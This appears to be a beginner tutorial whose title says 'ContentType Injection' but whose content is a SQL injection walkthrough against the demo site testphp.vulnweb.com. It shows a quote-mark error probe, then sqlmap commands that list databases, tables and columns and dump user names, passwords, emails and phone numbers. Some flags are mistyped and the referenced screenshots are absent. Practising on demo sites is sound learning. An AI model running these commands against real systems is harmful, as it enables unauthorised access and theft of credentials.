ContentType Injection
ContentType Injection
When an application does not properly handle user-supplied data, an attacker can
supply content to a web application , typically via a parameter value, that is
reflected back to the user. This presents the user with a modified page under the
context of the trusted domain.
-> To minimize attack, regularly scan your web applications with an industry-
leading web vulnerability scanner to make sure that you can eliminate
vulnerabilities faster.
-> In next step click on the link marked with red circle http://testphp.vulnweb.com
In the next step click on any link from LHS menu from page shown above:
->In the next step ,Now just add a single quotation mark ‘ at the end of the URL
http://testphp.vulnweb.com/listproducts.php?cat=1'
If the page returns an SQL error, the page is vulnerable to SQL injection.
See the example of sql error in below screenshot:-
->In the next step , download and install sqlmap on windows , before you install
sqlmap you must install python on your windows , then installing sqlmap works
->Download sqlmap from sqlmap.org link from your browser
Unzip the same and extract it to some directory and then ,create a command
prompt shortcut for sqlmap as shown below
Step 2: Open SQLMAP
2.1 Open SQLMAP in the CMD prompt, If you want to gain more information
about SQLMAP then type “sqlmap — help” it will give you all the options which
are used while performing SQLMAP .
-> In the next step to update 'sqlmap' to latest version, from CMD prompt , type
the command : 'sqlmap -update'
2.2 To determine the databases behind the web site, in CMD prompt we need to
type :-
Syntax : sqlmap –u the enire URL of the vulnerable web page - dbs
In our case:-
sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 -dbs
Note: 1] -u option is used for url
2] –dbs is used to enumerate DBMS databases
2.3 When we run this command against
http://testphp.vulnweb.com/listproducts.php?cat=1 we get the results like below :
In next step , when we run the below command , we get output as shown in next
pic
sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 -dbs
In next step, We can retrieve all the tables which are present in database acuart by
using following command (where the notation -D : Database)
sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -tables
2.5 Now I want to gain more information about users table then type the following
command :
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -columns
Note:- above command will give us all the columns present in the table 'users'
2.6 Now I want to gain the attribute values such as 'name ,uname, pass ,
email ,phone' present in the table 'users' .Then type the following command:-
sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 –D acuart -T
users
-C name,uname, pass, email,phone -dump
Finally it give us output as an entries for data value which is present in name ,
username(uname) , password (pass) , email , phone for corresponding table users in
database acuart.